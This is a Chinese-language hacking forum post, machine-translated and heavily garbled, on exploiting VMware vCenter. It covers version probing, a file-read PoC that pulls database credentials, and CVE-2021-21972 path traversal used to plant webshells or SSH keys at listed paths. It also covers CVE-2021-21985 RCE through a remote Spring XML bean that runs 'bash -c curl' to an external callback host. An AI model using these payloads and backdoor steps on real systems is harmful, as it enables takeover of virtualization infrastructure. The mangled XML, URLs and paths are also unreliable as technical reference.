H

vCenter 漏洞利用

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

vCenter 漏洞利用​

1 vSphere 背景介绍​

VSPHERE,ESXI和vCenter分析:
VMware Inc
** VMware Inc **是一家软件公司。它开发了许多产品,尤其是各种云解决方案。它的云解决方案包括云产品,数据中心产品和桌面产品。
vsphere
vSphere是数据中心产品下的一组软件。 Vsphere类似于Microsoft的办公室套件,其中包括许多软件,例如Word,Excel,Access等。它包括vCenter Server,ESXI和VSPHERE客户端,这是整个虚拟化部署解决方案的总和。
ESXI
ESXi是vSphere中最重要的组成部分。 ESXI是虚拟化服务。所有虚拟机在ESXI服务上运行。
vsphere客户
vSphere (web) client是一个管理平台,可以直接管理多个不同的ESXI主机,包括许多高级功能:集群故障转移等。ESXI随附的管理平台只能管理其所处的ESXI主机。vSphere客户端具有更详细的性能监视,并且批量更新占ESXI系统版本。虚拟机资源使用情况也可以通过资源池计划。
vCenter服务器
在ESXI 6.0之前,通过C/S体系结构对ESXI群集进行了管理。没有网站,安装环境相对严格。它必须是要安装的服务器的服务器版本。在6.0版后,官员取消了C/S架构客户端,并采用了Web管理平台,该平台也称为Vsphere Web客户端。部署vSphere Web客户端的服务器称为vCenter Server
官方建议是在VMware自己的Photon系统下部署包装的客户端和服务器应用程序。安装程序包命名为:VMware Vcenter Server设备,缩写为:VCSA
202205101547624.png-water_print

2 常见漏洞​

2.1 版本信息探测​

通过调用VMware Sphere Component的SOAP API,可以获得其版本信息。 XML数据如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
?xml版本='1.0'encoding='utf-8'?
SOAP:envelope
XMLNS:SOAP='http://schemas.xmlsoap.org/soap/envelope/'
XMLNS:XSD='http://ww.w3.org/2001/XMLSCHEMA'
XMLNS:XSI='http://www.w3.org/2001/XMLSCHEMA-INSANCE'
SOAP:HEADER
apotiD0000000001-00000001/aperationID
/SOAP:HEADER
SOAP:体
retireveservicecontent
xmlns='urn:internalle25'
_ this xsi:Type='托管对象'type='serviceInstance'ServiceInstance/_ this
/retireveserviceContent
/SOAP:体
/soap:envelope
202205061715861.png-water_print

核相关模板:
/nuclei-templates/technologies/vmware/vmware-detect.yaml
202205061717231.png-water_print

2.2 任意文件读取​

受影响的版本:VMware Vcenter Server=6.5.0
fofa dork:title='id_vc_welcome'
VMware Vcenter具有一个任意文件读取漏洞,该文件可以读取vCenter配置文件以获取管理帐户密码,然后控制vCenter平台及其托管虚拟机群集。
由于EAM用户运行脆弱的服务(非域用户),因此没有发生继电器攻击(例如NTLM继电器)的风险。
由于系统版本,数据库配置文件(VCDB.Properties)存储在不同的位置。根据官方文件,它们可以大致分为:
对于vCenter Server 5.5和更早:
Windows 2008 -C: \ ProgramData \ VMware \ VMware VirtualCenter
其他Windows版本-C: \文档和设置\所有用户\ Application Data \ vmware \ vmware VirtualCenter \
对于vCenter Server 6.0、6.5、6.7:
C: \ programData \ vmware \ vcenterserver \ cfg \ vmware-vpx
POC:
1
2
get/eam/vib?id=={path}} \vcdb.properties http/1.1
host: {{hostName}}
核中的相应POC:
/nuclei-templates/vulnerabilities/vmware/vmware-venter-lfi.yaml
/nuclei-templates/vulnerabilities/vmware/vmware-venter-lfi-linux.yaml

2.3 CVE-2021-21972​

2.3.1 漏洞利用​

VROPS插件(com.vmware.vropspluginui.mvc)Services Controller类,默认情况下启用了未经授权的访问权限。您可以使用路径遍历将文件解压缩到特定目录以实现getshell。
情感版本:
7.0=vCenter Server 7.0 U1C
6.7=vCenter服务器6.7 U3L
6.5 1E=vCenter服务器6.5 U3N
4.x=Cloud Foundation(Vcenter Server)4.2
3.x=Cloud Foundation(Vcenter Server)3.10.1.2
POC:
/nuclei-templates/cves/2021/cve-2021-21972.yaml
经验:

2.3.2 漏洞分析​

定位脆弱的jar包:/etc/vmware/vsphere-ui/vc-packages/vsphere-client-serenity/com.vmware.vrops.install-6.x.x.x.x.x.x.x x.xx 00s
202205061949834.png-water_print

注意行463,用/tmp /unicorn_ova_dir直接将焦油文件名拼写成并将其写入文件。如果在./中存在文件名,则可以将文件提取到vSphere-UI用户具有权限的目录。切换到用户并找到可写的目录:
1
2
su vSphere-ui
查找/- 创作-Type D | grep -v“允许拒绝”
其中,可以编写.ssh目录,因此最常见的想法是编写公共密钥并使用用户登录。但是,此方法具有一定的限制。首先,让我们看一下影子文件:
202205061953700.png-water_print

我看到密码到期90天,因此,即使我编写了安装90天后登录的公共密钥,我也会提示密码到期。我需要提供原始密码并修改密码。此外,vSphere-UI用户的第二个项目是!这意味着用户尚未设置密码(与空密码不同),因此无法修改密码。因此,当钥匙到期时,它无法再次登录。
另一个想法是写信给Webshell。首先,您需要遍历并找到JSP的Web.xml,并且可以编写目录:
1
grep'servlet-namejsp/servlet-name'$(find/-name'*web.xml')
最后,确定了Linux下的以下存储位置:
1
2
3
4
5
6
7
8
#vCenter 6.5/6.7 13010631
/USR/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/thefile
#vCenter 6.7=13010631
/usr/lib/vmware-vsphere-ui/server/static/resources/libs/thefile
#vCenter 7.0,其中资源15863815是动态生成的,可以通过访问/UI获得目录信息
/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/thefile
从/USR/LIB/VMWARE-VSPHERE-UI/SERVER/CONFIGURATION/TOMCAT-SERVER.XML发现听力端口为5090,然后由Rhttppproxy反向代理找到Web访问路径。
202205062006466.png-water_print

最后,将Webshell释放到/USR/lib/vmware-ware-vsphere-ui/server/work/deployer/s/global/xx/0/h5ngc.war/resources/directory或其子目录或其子目录,并且可以由https://ip/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UI/UIS访问。
此路径中的XX不是固定值,并且会随重新安装和重新启动行为而变化。因此,在上传软件包时,您可以在批处理中猛烈添加它们,并检测上传是否成功。
此外,如果存在工作目录,则将确定6.7U2和更高版本的版本,这意味着网络在内存中运行。目前,对于6.7U2和更高版本6.7,可以将Webshell发布到/usr/lib/vmware-vsphere-ui/server/static/static/static/resources/libs/Directory作为后门,并将在重新启动后加载并运行。对于静态版本7.0之后的资源,静态后的资源将随后是一系列动态数字路径,可以在请求的返回软件包中获得。
对于Windows版本,您可以在目标服务器上编写JSP Webshell文件。由于服务是系统许可,因此您可以编写任何文件。常用目录是:C: \ programData \ vmware \ vcenterserver \ data \ perfCharts \ tc-instance \ webapps \ statsreport \,只需访问3https://IP/Statsreport/statsreport/xxx.jsp即可。
其他常见路径可用于参考:vCenter2021漏洞和渗流后

2.4 CVE-2021-21985​

2.4.1 漏洞利用​

虚拟SAN Health Check插件(VSAN-H5-CLIENT.ZIP)/REST/*默认启用的接口已未经授权访问,并且可以使用Insecure Reflection Call来实现RCE。
情感版本:
7.0=vCenter Server 7.0 U2B
6.7=vCenter服务器6.7 U3N
6.5=vCenter服务器6.5 U3P
4.x=Cloud Foundation(Vcenter Server)4.2.1
3.x=Cloud Foundation(Vcenter Server)3.10.2.1
POC:
/nuclei-templates/cves/2021/cve-2021-21985.yaml
经验:

2.4.2 漏洞分析​

出网利用​

首先找到VSAN-H5-CLIENT插件存储位置:find/-name'vsan'| GREP“ H5”,最后在/USR/LIB/VMware-vpx/vsan-health/ui-plugins/vsan-h5-client.zip.zip目录中确认它。
下载,解压缩和对其中的JAR软件包进行解码。由于漏洞信息被描述为未经授权的访问,因此首先查找h5-vsan-context.jar的Web.xml中的相关线索。在固定版本中,添加了相应的过滤器:
202205071631304.png-water_print

在H5-Vsan-Service.jar中查找com.vmware.vsan.client.services.authentication filter,如果未经认证,请直接返回401。
202205071634089.png-water_print

另一个更改是在H5-Vsan-service.jar中的ProxyGenconTroller类的InvoKeservice方法中:
202205071637502.png-water_print

添加的验证以检测反射呼叫的方法是否具有TSSERVICE注释,并启用了白名单机制。因此,可以从基本上确定漏洞位于此类中。
TSService注释源代码:
202205071639053.png-water_print

查找定义@requestmapping路由的控制器,您可以看到在请求路径中获取BEAN名称或类名称名称,然后从帖子数据中获取方法input列表作为方法参数,然后输入InvokeService方法:
202205071640805.png-water_print

202205071645742.png-water_print

InvokEserver首先获得BEAN实例,然后获得该实例的方法列表,比较方法名称和方法参数长度,然后简单地将用户传递的参数进行验证,然后使用它们使用它们。
因此,下一步是找到在春季工厂创建的豆类中构建利用链的危险方法。在VSAN-H5-CLIENT/插件/H5-VSAN-SERVICE/META-INF/SPRING/BASE/BASE/*。XML配置文件中找到BEAN的定义。所有范围均为默认单例,并且没有配置懒惰,这意味着在弹簧项目启动时将加载这些豆子。
The bean used by the vulnerability author is vmodlContext, and the corresponding jar is /etc/vmware/vsphere-ui/vc-packages/vsphere-client-serenity/com.vmware.vrops.install-6.x.x.xx000/plugins/vropsplugin-service.jar, and the class is com.vmware.vim.vmomi.core.types.impl.vmodcontextimpl。 LOADVMODLPACKAGE方法代码如下:
202205071709994.png-water_print

上下文路径将通过nonvalidatingClasspathxmlapplicationContext加载,并且类从:classPathxmlapplicationContext:
202205071711954.png-water_print

因此,可以在XML中构造远程加载和解析Spel表达式,然后执行命令。
应当注意,SpringContextLoader中的GetContextFilenameForpackage将替换。在使用/的路径中,因此无法指定普通的IPv4地址,但是您可以使用数字IP绕过:
202205071838732.png-water_print

XML文件内容和攻击效果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
?xml版本='1.0'encoding='utf-8'?
bean xmlns='http://www.springframework.org/架构/beans'
XMLNS:XSI='http://www.w3.org/2001/XMLSCHEMA-INSANCE'
XMLNS:Context='http://ww.springframework.org/架构/上下文'
XSI:SchemAlocation='http://www.springww.org/schema/beans/beans 3http://www.springframewramewramework.org/schema/schema/schema/schema/spring-spring-spring-beans.xsd-ssd-ssd 3http://wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww.fragefringfring.orgemg/schema/sexts/sprexts./sprexts./conds.spr.spr.sprns.sprns./condsd andsd http://www.springframework.org/schema/context/spring-context.xsd'
bean id='pb'class='java.lang.processbuilder'
构造函数
列表
值/bin/bash/value
值-C/值
ValueCurl http://dj0esgxds3fv9m4a0a6dzorr0i69uy.oastify.com/VALUE
/列表
/constructor-arg
属性名称='whting'value='
 
后退
顶部